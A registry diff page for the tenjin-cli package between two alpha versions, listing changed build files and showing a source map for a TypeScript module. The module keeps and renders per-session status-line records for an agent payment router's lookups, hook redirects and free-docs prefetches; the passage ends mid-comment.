tenjin-cli 0.1.0-alpha.26 → 0.1.0-alpha.27
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -3
- package/dist/{chunk-ALJRB7NG.js → chunk-2TYQD22Q.js} +8 -6
- package/dist/{chunk-ALJRB7NG.js.map → chunk-2TYQD22Q.js.map} +1 -1
- package/dist/{chunk-W36HL4TB.js → chunk-4L7KMA7P.js} +4 -4
- package/dist/{chunk-UDWGT4FX.js → chunk-5FGO6TYT.js} +13 -5
- package/dist/chunk-5FGO6TYT.js.map +1 -0
- package/dist/{chunk-5HS54CLI.js → chunk-5NEHH2E5.js} +3 -3
- package/dist/{chunk-Z7R2QDX2.js → chunk-64SE3QC5.js} +42 -7
- package/dist/chunk-64SE3QC5.js.map +1 -0
- package/dist/chunk-6ZSGER3A.js +52 -0
- package/dist/chunk-6ZSGER3A.js.map +1 -0
- package/dist/{chunk-QF4SSCQV.js → chunk-AWKQSKUL.js} +4 -3
- package/dist/chunk-AWKQSKUL.js.map +1 -0
- package/dist/{chunk-XMIVHQ35.js → chunk-B2L53TMK.js} +17 -2
- package/dist/{chunk-XMIVHQ35.js.map → chunk-B2L53TMK.js.map} +1 -1
- package/dist/{chunk-OZ3LWLCI.js → chunk-DATCR7AU.js} +3 -3
- package/dist/{chunk-65EJJVT3.js → chunk-DSNXKUXI.js} +2 -2
- package/dist/{chunk-HII5HOQV.js → chunk-G4AM2SOL.js} +5 -3
- package/dist/{chunk-HII5HOQV.js.map → chunk-G4AM2SOL.js.map} +1 -1
- package/dist/{chunk-OBPZ36HG.js → chunk-GU4GGKYP.js} +58 -5
- package/dist/chunk-GU4GGKYP.js.map +1 -0
- package/dist/{chunk-VNT3CQFV.js → chunk-H2L33M7F.js} +17 -13
- package/dist/{chunk-VNT3CQFV.js.map → chunk-H2L33M7F.js.map} +1 -1
- package/dist/{chunk-GHR4BTNJ.js → chunk-HC3QEZKT.js} +4 -4
- package/dist/chunk-HC3QEZKT.js.map +1 -0
- package/dist/{chunk-H4BOQLWW.js → chunk-MAQUL5BD.js} +2 -2
- package/dist/{chunk-4HAV6IFE.js → chunk-O7CUHHYU.js} +6 -6
- package/dist/{chunk-4HAV6IFE.js.map → chunk-O7CUHHYU.js.map} +1 -1
- package/dist/{chunk-5INS5ZZF.js → chunk-OHZYNZSD.js} +3 -3
- package/dist/{chunk-YHWBDCGS.js → chunk-PY7MQUKP.js} +20 -18
- package/dist/{chunk-YHWBDCGS.js.map → chunk-PY7MQUKP.js.map} +1 -1
- package/dist/{chunk-ZLD6MJVJ.js → chunk-S4SAZ7OD.js} +1 -1
- package/dist/chunk-S4SAZ7OD.js.map +1 -0
- package/dist/{chunk-WT7DHJNJ.js → chunk-SKQQOEWH.js} +4 -4
- package/dist/{chunk-XICKN3CH.js → chunk-VIOUZW7Z.js} +2 -46
- package/dist/chunk-VIOUZW7Z.js.map +1 -0
- package/dist/{chunk-YTM7OURD.js → chunk-VNNXAYJE.js} +2 -2
- package/dist/{chunk-5NUF4BHR.js → chunk-VXIBZ6W5.js} +3 -3
- package/dist/{chunk-6JIYGYRB.js → chunk-X7I343ZY.js} +2 -2
- package/dist/{chunk-DI7WHXOZ.js → chunk-XVYATBKD.js} +2 -2
- package/dist/{chunk-EJXIK6WY.js → chunk-YKM2ZTA2.js} +56 -22
- package/dist/chunk-YKM2ZTA2.js.map +1 -0
- package/dist/{chunk-YLCWI6ZR.js → chunk-YQOQ6XEI.js} +59 -18
- package/dist/chunk-YQOQ6XEI.js.map +1 -0
- package/dist/{cli-2U5JB7OQ.js → cli-6JNIPZQ6.js} +32 -31
- package/dist/{cli-2U5JB7OQ.js.map → cli-6JNIPZQ6.js.map} +1 -1
- package/dist/{config-44EGO636.js → config-G75YT6NC.js} +11 -10
- package/dist/{doctor-BD42BBEG.js → doctor-3GMDOW4Y.js} +28 -28
- package/dist/{doctor-BD42BBEG.js.map → doctor-3GMDOW4Y.js.map} +1 -1
- package/dist/{env-proxy-KEGEMWKX.js → env-proxy-XL4P73MZ.js} +2 -2
- package/dist/{fund-WQOOUESE.js → fund-3IPR5YRJ.js} +17 -15
- package/dist/{fund-WQOOUESE.js.map → fund-3IPR5YRJ.js.map} +1 -1
- package/dist/{hook-command-23LC5NRN.js → hook-command-ZXX4FT4N.js} +14 -14
- package/dist/index.js +6 -6
- package/dist/index.js.map +1 -1
- package/dist/{install-REPLHNU7.js → install-6OROTYHZ.js} +17 -17
- package/dist/{install-identity-4RDWTLJ2.js → install-identity-PM4AGFFX.js} +7 -6
- package/dist/{install-wallet-USHWL7AX.js → install-wallet-6756NOB5.js} +10 -9
- package/dist/{install-wallet-USHWL7AX.js.map → install-wallet-6756NOB5.js.map} +1 -1
- package/dist/{mcp-T5SYCLP7.js → mcp-33FAAZ7F.js} +503 -77
- package/dist/mcp-33FAAZ7F.js.map +1 -0
- package/dist/{pay-276DSSYG.js → pay-XOYR4PCH.js} +13 -12
- package/dist/{payments-TZYLJXK3.js → payments-UTQDBO7H.js} +8 -7
- package/dist/{payments-TZYLJXK3.js.map → payments-UTQDBO7H.js.map} +1 -1
- package/dist/{send-YHDKZPED.js → send-CVGNOQW3.js} +12 -10
- package/dist/{send-YHDKZPED.js.map → send-CVGNOQW3.js.map} +1 -1
- package/dist/{status-X2INT6VD.js → status-NACN4DGX.js} +10 -8
- package/dist/{status-X2INT6VD.js.map → status-NACN4DGX.js.map} +1 -1
- package/dist/{status-line-QKDJYZGV.js → status-line-3IQKGRUH.js} +6 -5
- package/dist/{status-line-QKDJYZGV.js.map → status-line-3IQKGRUH.js.map} +1 -1
- package/dist/{status-line-wiring-LW4HFRHB.js → status-line-wiring-QXBOOY2T.js} +4 -4
- package/dist/{uninstall-NVTGU7JD.js → uninstall-NYFKSYW4.js} +17 -17
- package/dist/{update-QXVH2DE7.js → update-RJDA5ZY3.js} +7 -16
- package/dist/update-RJDA5ZY3.js.map +1 -0
- package/dist/{wallet-CKKB23D5.js → wallet-B3FVHNTS.js} +10 -9
- package/docs/agent-permissions.md +5 -4
- package/package.json +3 -3
- package/dist/chunk-EJXIK6WY.js.map +0 -1
- package/dist/chunk-GHR4BTNJ.js.map +0 -1
- package/dist/chunk-OBPZ36HG.js.map +0 -1
- package/dist/chunk-PM2MOXJ3.js +0 -66
- package/dist/chunk-PM2MOXJ3.js.map +0 -1
- package/dist/chunk-QF4SSCQV.js.map +0 -1
- package/dist/chunk-UDWGT4FX.js.map +0 -1
- package/dist/chunk-XICKN3CH.js.map +0 -1
- package/dist/chunk-YLCWI6ZR.js.map +0 -1
- package/dist/chunk-Z7R2QDX2.js.map +0 -1
- package/dist/chunk-ZLD6MJVJ.js.map +0 -1
- package/dist/mcp-T5SYCLP7.js.map +0 -1
- package/dist/update-QXVH2DE7.js.map +0 -1
- /package/dist/{chunk-W36HL4TB.js.map → chunk-4L7KMA7P.js.map} +0 -0
- /package/dist/{chunk-5HS54CLI.js.map → chunk-5NEHH2E5.js.map} +0 -0
- /package/dist/{chunk-OZ3LWLCI.js.map → chunk-DATCR7AU.js.map} +0 -0
- /package/dist/{chunk-65EJJVT3.js.map → chunk-DSNXKUXI.js.map} +0 -0
- /package/dist/{chunk-H4BOQLWW.js.map → chunk-MAQUL5BD.js.map} +0 -0
- /package/dist/{chunk-5INS5ZZF.js.map → chunk-OHZYNZSD.js.map} +0 -0
- /package/dist/{chunk-WT7DHJNJ.js.map → chunk-SKQQOEWH.js.map} +0 -0
- /package/dist/{chunk-YTM7OURD.js.map → chunk-VNNXAYJE.js.map} +0 -0
- /package/dist/{chunk-5NUF4BHR.js.map → chunk-VXIBZ6W5.js.map} +0 -0
- /package/dist/{chunk-6JIYGYRB.js.map → chunk-X7I343ZY.js.map} +0 -0
- /package/dist/{chunk-DI7WHXOZ.js.map → chunk-XVYATBKD.js.map} +0 -0
- /package/dist/{config-44EGO636.js.map → config-G75YT6NC.js.map} +0 -0
- /package/dist/{env-proxy-KEGEMWKX.js.map → env-proxy-XL4P73MZ.js.map} +0 -0
- /package/dist/{hook-command-23LC5NRN.js.map → hook-command-ZXX4FT4N.js.map} +0 -0
- /package/dist/{install-REPLHNU7.js.map → install-6OROTYHZ.js.map} +0 -0
- /package/dist/{install-identity-4RDWTLJ2.js.map → install-identity-PM4AGFFX.js.map} +0 -0
- /package/dist/{pay-276DSSYG.js.map → pay-XOYR4PCH.js.map} +0 -0
- /package/dist/{status-line-wiring-LW4HFRHB.js.map → status-line-wiring-QXBOOY2T.js.map} +0 -0
- /package/dist/{uninstall-NVTGU7JD.js.map → uninstall-NYFKSYW4.js.map} +0 -0
- /package/dist/{wallet-CKKB23D5.js.map → wallet-B3FVHNTS.js.map} +0 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/router/progress.ts"],"sourcesContent":["import { createHash, randomUUID } from 'node:crypto';\nimport { constants } from 'node:fs';\nimport { lstat, open, opendir, rm } from 'node:fs/promises';\nimport { join } from 'node:path';\nimport { writeFileAtomic, writeFileAtomicExclusive } from '../lib/atomic-json';\n\n/**\n * The live status line's evidence: what this session is looking up right now,\n * which provider is actually being called, and what it cost.\n *\n * DISPLAY ONLY, AND STRICTLY DOWNSTREAM. Nothing here is read by the gate, the\n * decision, the spend policy or the paying leg; every write is best effort and\n * every failure is swallowed, so a full disk or a read-only data dir loses the\n * footer and changes no routing or payment outcome. That is the whole contract\n * this module has to keep. Two markers are read back by the hooks, the offer\n * mark and the redirect claims, and both only ever make a hook say less: losing\n * either routes a call exactly as a session with no record would, and a claim\n * that cannot be written denies nothing. The free-docs\n * records are the same kind: a lost augment marker is a search with no docs\n * added, and a lost query claim is one more free fetch.\n *\n * KEYED TO THE SESSION, NEVER GUESSED FROM IT. A record lives under the SHA-256\n * of the harness's own `session_id`, so the renderer for one session cannot see\n * another's. The hook knows that id; the tool, which runs inside the MCP server\n * process, does not, so it resolves the session in one of exactly two ways:\n *\n * - BY BINDING. An `execute` decision leaves an `id-<hash>.json` marker in the\n * session that produced it, and the model passes that id back on the tool\n * call. Resolving through the marker is proof, not inference.\n * - BY SOLE ACTIVITY. With no id, the request belongs to the only session that\n * has been active recently, and when two have been, it belongs to neither as\n * far as this module is concerned: {@link resolveProgressSession} returns\n * null and nothing is written. A missing footer is the correct failure;\n * showing one session's lookup in another session's terminal is not.\n */\n\nconst PROGRESS_DIR = 'progress';\n/** The binding marker's prefix, so it can never be read back as a call record. */\nconst BINDING_PREFIX = 'id-';\n/** A pre-call redirect's marker, keyed by the harness's `tool_use_id`. */\nconst OFFER_PREFIX = 'offer-';\n/** The session's own liveness touch, likewise outside the call-record pattern. */\nconst SESSION_FILE = 'session.json';\n/** A pre-call redirect, one file per agent and target in the session. */\nconst REDIRECT_PREFIX = 'redirect-';\n/** A search the pre-call hook is adding free docs to, keyed by its `tool_use_id`. */\nconst AUGMENT_PREFIX = 'augment-';\n/** What the docs prefetch got, beside its marker. The provider's text sets its\n * size, so it is never read as a record: it ages by its mtime. */\nconst AUGMENT_BODY_SUFFIX = '.docs';\n/** One agent's search query that was augmented, so the same one is not fetched twice. */\nconst QUERY_PREFIX = 'query-';\n/** Call records are named by a 64-hex digest and nothing else is read as one. */\nconst CALL_FILE_RE = /^[a-f0-9]{64}\\.json$/;\n\n/** An in-flight call older than this is shown as stale, never as running. */\nexport const STALE_AFTER_MS = 90_000;\n/**\n * How long a state stays on the footer once nothing has replaced it. The demo\n * holds each one for about ten seconds, which is what makes a decision that\n * takes a second readable at a one-second refresh; after that the line is\n * `x402 · ready` again.\n */\nexport const RECENT_MS = 10_000;\n/** Older than this and a record is ignored by the renderer and pruned on write. */\nexport const EXPIRY_MS = 10 * 60_000;\n/** How recently a session must have been touched to claim an id-less request. */\nexport const SESSION_ACTIVE_MS = 10 * 60_000;\n/** How long one agent's identical search is not given the same docs again. */\nexport const AUGMENT_REPEAT_MS = 5 * 60_000;\n/** Above this many files a session directory is reported rather than scanned. */\nconst MAX_RECORDS = 256;\n/** A ceiling on the root scan. {@link pruneSessions} keeps it far below this:\n * a directory is one LIVE session, not one session this machine ever had. */\nconst MAX_SESSIONS = 4_096;\n/** A record larger than this is damaged or not ours; it is skipped unread. */\nconst MAX_RECORD_BYTES = 4_096;\n\nexport type ProgressPhase = 'routing' | 'calling' | 'done';\n\n/** The two markers: a session's liveness touch and a decision-id binding. */\ninterface Stamp {\n version: 1;\n at: number;\n}\n\n/** What one call looks like on disk. Every string is already masked and bounded. */\ninterface SavedProgress extends Stamp {\n phase: ProgressPhase;\n /** The tool whose activity this is, as the footer names it. */\n operation: string;\n /** What the state SAYS: the outcome on `done`, and on an in-flight record the\n * stage, when it is not the tool's own `selecting service`. */\n outcome?: string;\n /** Host plus path of the provider actually called, without a scheme. */\n endpoint?: string;\n /** The call's parameters as compact JSON. */\n parameters?: string;\n /** What the provider was paid, as USD. */\n price?: string;\n}\n\n/** A search being given free docs, and whose docs they are. */\ninterface SavedAugment extends Stamp {\n provider: string;\n}\n\nexport interface ProgressStep {\n phase: ProgressPhase;\n operation?: string;\n outcome?: string;\n /** The executed provider's URL. It can differ from the hint's suggestion. */\n provider?: string;\n parameters?: unknown;\n price?: string;\n}\n\nconst digest = (value: string): string => createHash('sha256').update(value).digest('hex');\n\nfunction bounded(value: string, limit: number): string {\n const chars = Array.from(value);\n return chars.length <= limit ? value : `${chars.slice(0, limit - 1).join('')}…`;\n}\n\n/**\n * Provider text reaches a terminal here, so it is treated as hostile: control\n * characters, format characters and directional overrides are replaced before\n * anything is written, and again before anything is printed. A footer that can\n * be made to repaint the line above it is a spoofing surface, not a display.\n */\nexport function sanitize(value: string, limit: number): string {\n return bounded(\n value\n .replace(/[\\p{Cc}\\p{Cf}]/gu, ' ')\n .replace(/\\s+/g, ' ')\n .trim(),\n limit,\n );\n}\n\n/**\n * The CLI's own redaction, behind a dynamic import ON PURPOSE: the rule corpus\n * and the BIP-39 wordlist are a real parse cost, the renderer runs once a\n * second, and only the write path needs them. `dist-chunks.test.ts` pins it.\n */\nasync function clean(value: string, limit: number): Promise<string> {\n const { mask } = await import('../lib/redact');\n return sanitize(mask(value), limit);\n}\n\n/** Host plus path, which is what names a provider to a person watching. */\nasync function endpointOf(value: string): Promise<string> {\n let url: URL;\n try {\n url = new URL(value);\n } catch {\n return 'invalid endpoint';\n }\n if (url.username !== '' || url.password !== '') return 'invalid endpoint';\n return clean(`${url.host}${url.pathname === '/' ? '' : url.pathname}`, 110);\n}\n\nasync function parametersOf(value: unknown): Promise<string | undefined> {\n let json: string | undefined;\n try {\n json = JSON.stringify(value);\n } catch {\n return undefined;\n }\n return json === undefined ? undefined : clean(json, 180);\n}\n\nexport function sessionDir(dataDir: string, sessionId: string): string {\n return join(dataDir, PROGRESS_DIR, digest(sessionId));\n}\n\n/** A fresh key for one call, so two overlapping lookups never share a record. */\nexport function newCallId(): string {\n return randomUUID();\n}\n\n/**\n * Mark this session live, so an id-less tool call made from it can be\n * attributed. Written on every hook event, including the ones that route\n * nothing: an open session has to be distinguishable from a closed one.\n */\nexport async function noteSession(\n dataDir: string,\n sessionId: string,\n now = Date.now(),\n): Promise<void> {\n await write(join(sessionDir(dataDir, sessionId), SESSION_FILE), { version: 1, at: now });\n}\n\n/** Record that this decision id was produced in this session. */\nexport async function bindDecision(\n dataDir: string,\n sessionId: string,\n decisionId: string,\n now = Date.now(),\n): Promise<void> {\n await write(join(sessionDir(dataDir, sessionId), `${BINDING_PREFIX}${digest(decisionId)}.json`), {\n version: 1,\n at: now,\n });\n}\n\n/**\n * ONE ROUTING ANSWER PER LOOKUP. The pre-call hook marks the native call it\n * redirected, by the harness's own `tool_use_id`, and the after-call hook reads\n * the mark before it asks again about the same call. Expires and is pruned like every\n * other record here.\n */\nexport async function markOffered(\n dataDir: string,\n sessionId: string,\n toolUseId: string,\n now = Date.now(),\n): Promise<void> {\n await write(join(sessionDir(dataDir, sessionId), `${OFFER_PREFIX}${digest(toolUseId)}.json`), {\n version: 1,\n at: now,\n });\n}\n\nexport async function wasOffered(\n dataDir: string,\n sessionId: string,\n toolUseId: string,\n now = Date.now(),\n): Promise<boolean> {\n const path = join(sessionDir(dataDir, sessionId), `${OFFER_PREFIX}${digest(toolUseId)}.json`);\n const stamp = await readStamp(path);\n return stamp !== null && now - stamp.at <= EXPIRY_MS;\n}\n\n/**\n * FREE DOCS BESIDE A SEARCH. The pre-call hook marks the search it let run with\n * a free offer, by the harness's own `tool_use_id` and with the provider's name\n * for the line the after-call hook writes, and returns where the prefetch puts\n * what it got: beside the marker, under the same key. Null when the marker could\n * not be written, since nothing could then find the body.\n */\nexport async function markAugment(\n dataDir: string,\n sessionId: string,\n toolUseId: string,\n provider: string,\n now = Date.now(),\n): Promise<string | null> {\n const base = join(sessionDir(dataDir, sessionId), `${AUGMENT_PREFIX}${digest(toolUseId)}`);\n const saved: SavedAugment = { version: 1, at: now, provider: sanitize(provider, 60) };\n return (await write(`${base}.json`, saved)) ? `${base}${AUGMENT_BODY_SUFFIX}` : null;\n}\n\n/** The marker {@link markAugment} left for this call, or null when it left none. */\nexport async function augmentOf(\n dataDir: string,\n sessionId: string,\n toolUseId: string,\n now = Date.now(),\n): Promise<{ at: number; provider: string; body: string } | null> {\n const base = join(sessionDir(dataDir, sessionId), `${AUGMENT_PREFIX}${digest(toolUseId)}`);\n const row = await readJson(`${base}.json`);\n const stamp = stampOf(row);\n if (row === null || stamp === null || now - stamp.at > EXPIRY_MS) return null;\n const provider = typeof row.provider === 'string' ? sanitize(row.provider, 60) : '';\n return { at: stamp.at, provider, body: `${base}${AUGMENT_BODY_SUFFIX}` };\n}\n\n/**\n * ONE FETCH PER QUERY. True when this agent has not had this exact search\n * augmented in the last {@link AUGMENT_REPEAT_MS}, and the claim is now its:\n * the create is exclusive, so two parallel copies of one search fetch once.\n */\nexport async function claimQuery(\n dataDir: string,\n sessionId: string,\n agentId: string | undefined,\n query: string,\n now = Date.now(),\n): Promise<boolean> {\n const key = digest(JSON.stringify([agentId ?? '', query]));\n const path = join(sessionDir(dataDir, sessionId), `${QUERY_PREFIX}${key}.json`);\n const stamp: Stamp = { version: 1, at: now };\n try {\n await writeFileAtomicExclusive(path, JSON.stringify(stamp), { mode: 0o600, dirMode: 0o700 });\n return true;\n } catch {\n // Taken: by a recent search, which wins, or by an old one, which does not.\n }\n const last = await readStamp(path);\n if (last === null || now - last.at <= AUGMENT_REPEAT_MS) return false;\n return write(path, stamp);\n}\n\n/**\n * ONE RECORD PER AGENT, TARGET AND WINDOW. Subagents share the session id, so\n * the agent is in the key, and the main agent's part is the empty string, which\n * no `agent_id` can be: the decoder refuses an empty one. The target is in it\n * too, one file each, so parallel calls never share a record: one call's\n * redirect can be neither overwritten nor spent by another's. And so is the\n * {@link EXPIRY_MS} window the claim was made in, so a claim is only ever\n * created, never replaced: see {@link claimRedirect}.\n */\nfunction redirectPath(\n dataDir: string,\n sessionId: string,\n agentId: string | undefined,\n target: string,\n window: number,\n): string {\n const key = digest(JSON.stringify([agentId ?? '', target, window]));\n return join(sessionDir(dataDir, sessionId), `${REDIRECT_PREFIX}${key}.json`);\n}\n\n/**\n * NEVER REDIRECTED TWICE FOR ONE TARGET. True, once, when this agent has not\n * been redirected on this exact search or URL in the last {@link EXPIRY_MS},\n * and the claim is now its; the pre-call hook denies only on true. So the\n * agent's own retry of a redirected call runs, whether the lookup it was sent\n * to delivered, failed or was never called, and whatever other calls ran in\n * between.\n *\n * ONLY EVER AN EXCLUSIVE CREATE. Replacing an expired claim let two parallel\n * copies of one call both read the old stamp and both write, and both deny.\n * The claim's file is named by its window instead, so the one create per\n * window decides, and the previous window's claim, while it is still inside\n * {@link EXPIRY_MS}, is read and never touched: a claim made just before a\n * boundary still lasts its full span. A claim that cannot be written is false:\n * the call runs.\n */\nexport async function claimRedirect(\n dataDir: string,\n sessionId: string,\n agentId: string | undefined,\n target: string,\n now = Date.now(),\n): Promise<boolean> {\n const window = Math.floor(now / EXPIRY_MS);\n const previous = await readStamp(redirectPath(dataDir, sessionId, agentId, target, window - 1));\n if (previous !== null && now - previous.at <= EXPIRY_MS) return false;\n const stamp: Stamp = { version: 1, at: now };\n try {\n await writeFileAtomicExclusive(\n redirectPath(dataDir, sessionId, agentId, target, window),\n JSON.stringify(stamp),\n { mode: 0o600, dirMode: 0o700 },\n );\n return true;\n } catch {\n // Taken in this window, which is always inside EXPIRY_MS, or not writable.\n return false;\n }\n}\n\n/**\n * THE READ HALF OF {@link claimRedirect}: true when this agent already holds a\n * live claim on this exact search or URL. The pre-call arms ask it BEFORE the\n * router, so the retry of a call they already redirected, which they would\n * only withhold, costs no decision and leaves no offer nobody sees. It never\n * writes and never decides on its own: a false here still goes through the\n * exclusive create, which is what keeps two parallel copies to one deny.\n */\nexport async function redirectClaimed(\n dataDir: string,\n sessionId: string,\n agentId: string | undefined,\n target: string,\n now = Date.now(),\n): Promise<boolean> {\n const window = Math.floor(now / EXPIRY_MS);\n for (const at of [window, window - 1]) {\n const stamp = await readStamp(redirectPath(dataDir, sessionId, agentId, target, at));\n if (stamp !== null && now - stamp.at <= EXPIRY_MS) return true;\n }\n return false;\n}\n\n/**\n * Which session directory a tool call belongs to, or null for \"cannot tell\".\n * Null is a normal answer and its only consequence is a footer that stays quiet.\n */\nexport async function resolveProgressSession(\n dataDir: string,\n opts: { id?: string; now?: number } = {},\n): Promise<string | null> {\n const now = opts.now ?? Date.now();\n const root = join(dataDir, PROGRESS_DIR);\n let names: string[];\n try {\n const directory = await opendir(root);\n names = [];\n for await (const entry of directory) {\n if (entry.isDirectory() && /^[a-f0-9]{64}$/.test(entry.name)) names.push(entry.name);\n if (names.length >= MAX_SESSIONS) break;\n }\n } catch {\n return null;\n }\n if (opts.id !== undefined && opts.id.length > 0) {\n const marker = `${BINDING_PREFIX}${digest(opts.id)}.json`;\n for (const name of names) {\n const bound = await readStamp(join(root, name, marker));\n if (bound !== null && now - bound.at <= EXPIRY_MS) return join(root, name);\n }\n // A stale or unknown id says nothing about which session asked, so the\n // sole-activity rule below still applies rather than a wrong attribution.\n }\n const live: string[] = [];\n for (const name of names) {\n const touched = await readStamp(join(root, name, SESSION_FILE));\n if (touched !== null && now - touched.at <= SESSION_ACTIVE_MS) live.push(name);\n if (live.length > 1) return null;\n }\n return live.length === 1 ? join(root, live[0] as string) : null;\n}\n\n/**\n * Record one step of one call. The caller holds the directory (from\n * {@link sessionDir} or {@link resolveProgressSession}) and the call id, so a\n * step never has to re-resolve anything on the hot path.\n */\nexport async function writeProgress(\n directory: string,\n callId: string,\n step: ProgressStep,\n now = Date.now(),\n): Promise<void> {\n const endpoint = step.provider === undefined ? undefined : await endpointOf(step.provider);\n const parameters =\n step.parameters === undefined ? undefined : await parametersOf(step.parameters);\n const saved: SavedProgress = {\n version: 1,\n at: now,\n phase: step.phase,\n operation: sanitize(step.operation ?? 'request', 24) || 'request',\n ...(step.outcome !== undefined ? { outcome: sanitize(step.outcome, 40) } : {}),\n ...(endpoint !== undefined ? { endpoint } : {}),\n ...(parameters !== undefined ? { parameters } : {}),\n ...(step.price !== undefined ? { price: sanitize(step.price, 24) } : {}),\n };\n await write(join(directory, `${digest(callId)}.json`), saved);\n}\n\nexport interface LookupFooter {\n /** A decision is in flight. */\n routing(): Promise<void>;\n /** The EXECUTED provider, which can differ from what the hint suggested. */\n calling(step: { provider: string; parameters?: unknown }): Promise<void>;\n /** The outcome, and what the provider was paid for it. */\n done(\n outcome: string,\n step?: { provider?: string; parameters?: unknown; price?: string },\n ): Promise<void>;\n}\n\n/** A footer for a session this call cannot be attributed to, or for one step\n * of a call whose own footer speaks for it: it writes nothing. */\nexport const SILENT_FOOTER: LookupFooter = {\n routing: async () => undefined,\n calling: async () => undefined,\n done: async () => undefined,\n};\n\n/**\n * The `request` tool's footer: the session is resolved ONCE, at the top of the\n * call, and each later step is one small write. An unresolvable session yields\n * {@link SILENT_FOOTER}, and the lookup runs exactly as it would have.\n */\nexport async function openLookupFooter(\n dataDir: string,\n opts: { id?: string; operation?: string; now?: () => number } = {},\n): Promise<LookupFooter> {\n const now = opts.now ?? Date.now;\n const directory = await resolveProgressSession(dataDir, {\n ...(opts.id !== undefined ? { id: opts.id } : {}),\n now: now(),\n }).catch(() => null);\n if (directory === null) return SILENT_FOOTER;\n const callId = newCallId();\n const operation = opts.operation ?? 'request';\n const step = async (patch: ProgressStep): Promise<void> => {\n await writeProgress(directory, callId, { operation, ...patch }, now());\n };\n return {\n routing: async () => {\n await step({ phase: 'routing' });\n await pruneProgress(directory, now());\n },\n calling: async (calling) => step({ phase: 'calling', ...calling }),\n done: async (outcome, detail) => step({ phase: 'done', outcome, ...detail }),\n };\n}\n\n/**\n * Remove records past {@link EXPIRY_MS}. Run from a writer, never from the\n * renderer: the footer refreshes once a second and must stay read-only.\n */\nexport async function pruneProgress(directory: string, now = Date.now()): Promise<void> {\n try {\n const dir = await opendir(directory);\n let count = 0;\n for await (const entry of dir) {\n if (++count > MAX_RECORDS) return;\n if (!entry.isFile() || entry.name === SESSION_FILE) continue;\n const path = join(directory, entry.name);\n const record = agesByMtime(entry.name) ? await mtimeOf(path) : await readStamp(path);\n if (record === null || now - record.at > EXPIRY_MS) {\n await rm(path, { force: true }).catch(() => undefined);\n }\n }\n } catch {\n // Housekeeping only. Nothing downstream depends on it having run.\n }\n}\n\n/**\n * A FILE THAT IS NOT A WHOLE RECORD is aged by its mtime, never read as one: a\n * temp file between its write and its rename (every writer here names them\n * `.<name>.<suffix>`), and a docs body, whose size is the provider's. Read as\n * records they are damaged, and the prune deleted them out from under a\n * parallel hook's rename.\n */\nfunction agesByMtime(name: string): boolean {\n return name.startsWith('.') || (name.startsWith(AUGMENT_PREFIX) && !name.endsWith('.json'));\n}\n\nasync function mtimeOf(path: string): Promise<Stamp | null> {\n try {\n return { version: 1, at: (await lstat(path)).mtimeMs };\n } catch {\n return null;\n }\n}\n\n/**\n * Remove the directories of sessions that are over.\n *\n * WITHOUT THIS THE ROOT ONLY GROWS, one directory per session this machine has\n * ever had, and a root big enough to hit {@link MAX_SESSIONS} would leave\n * {@link resolveProgressSession} scanning an arbitrary subset that need not\n * contain the session asking. Run from the hook, which is the one writer that\n * fires on every turn; a directory whose session is still live is never touched.\n */\nexport async function pruneSessions(dataDir: string, now = Date.now()): Promise<void> {\n const root = join(dataDir, PROGRESS_DIR);\n try {\n const directory = await opendir(root);\n let seen = 0;\n for await (const entry of directory) {\n if (++seen > MAX_SESSIONS) return;\n if (!entry.isDirectory() || !/^[a-f0-9]{64}$/.test(entry.name)) continue;\n const path = join(root, entry.name);\n const session = await readStamp(join(path, SESSION_FILE));\n if (session !== null && now - session.at <= SESSION_ACTIVE_MS) continue;\n // The touch is gone or old, so the only thing that can keep this\n // directory is a record still inside the renderer's window.\n if (await hasLiveRecord(path, now)) continue;\n await rm(path, { recursive: true, force: true }).catch(() => undefined);\n }\n } catch {\n // Housekeeping only. Nothing downstream depends on it having run.\n }\n}\n\nasync function hasLiveRecord(directory: string, now: number): Promise<boolean> {\n try {\n const dir = await opendir(directory);\n let count = 0;\n for await (const entry of dir) {\n if (++count > MAX_RECORDS) return true;\n if (!entry.isFile() || entry.name === SESSION_FILE) continue;\n const record = await readStamp(join(directory, entry.name));\n if (record !== null && now - record.at <= EXPIRY_MS) return true;\n }\n } catch {\n return true;\n }\n return false;\n}\n\n/**\n * The footer for one session: one line, bounded, sanitized, and empty of\n * everything but this session's own calls. Read-only by construction.\n */\nexport async function renderProgress(\n dataDir: string,\n sessionId: string,\n options: { now?: number; columns?: number } = {},\n): Promise<string> {\n const now = options.now ?? Date.now();\n // The harness truncates to the real terminal width, and `COLUMNS` rarely\n // survives into a status-line process, so the default is a wide terminal\n // rather than a narrow one: cutting a provider's path off at 80 columns on a\n // 200-column terminal loses exactly the part worth reading.\n const columns = Math.max(45, Math.min(400, options.columns || 160));\n const directory = sessionDir(dataDir, sessionId);\n const records: SavedProgress[] = [];\n try {\n const dir = await opendir(directory);\n let count = 0;\n for await (const entry of dir) {\n if (++count > MAX_RECORDS) return bounded('x402 · activity exceeds display limit', columns);\n if (!entry.isFile() || !CALL_FILE_RE.test(entry.name)) continue;\n const record = await readCall(join(directory, entry.name));\n if (record !== null && now - record.at <= EXPIRY_MS) records.push(record);\n }\n } catch (error) {\n // A SESSION WITH NO DIRECTORY IS IDLE, not broken: it has simply not looked\n // anything up yet, and the router being on is the thing the idle line says.\n // Any OTHER read failure is this display failing, and a display that failed\n // prints nothing rather than a status it did not read.\n return (error as NodeJS.ErrnoException).code === 'ENOENT' ? READY : '';\n }\n const running = records\n .filter((row) => row.phase !== 'done' && now - row.at <= holdMs(row))\n .sort((a, b) => b.at - a.at);\n // Only a LOOKUP goes stale out loud. A hook decision has a five-second budget,\n // so one still in flight after its hold is a dead hook, and the footer says\n // ready rather than naming a stage nothing is working on.\n const stale = records.filter(\n (row) => row.phase !== 'done' && now - row.at > holdMs(row) && row.operation === 'request',\n );\n const finished = records\n .filter((row) => row.phase === 'done' && now - row.at <= RECENT_MS)\n .sort((a, b) => b.at - a.at);\n const head = running[0] ?? finished[0] ?? stale.sort((a, b) => b.at - a.at)[0];\n if (head === undefined) return READY;\n // OVERLAPPING CALLS ARE COUNTED, NOT HIDDEN. The newest running call is the\n // one worth naming; the rest are a count, because a second endpoint and its\n // parameters do not fit a line beside the first.\n const alsoRunning = running.length - (running[0] === head ? 1 : 0);\n const suffix = alsoRunning > 0 ? ` · +${alsoRunning} more` : '';\n return bounded(`${line(head, now)}${suffix}`, columns);\n}\n\n/** What the footer says when this session has nothing running or just finished.\n * It is the visible proof that the router is on, so it is 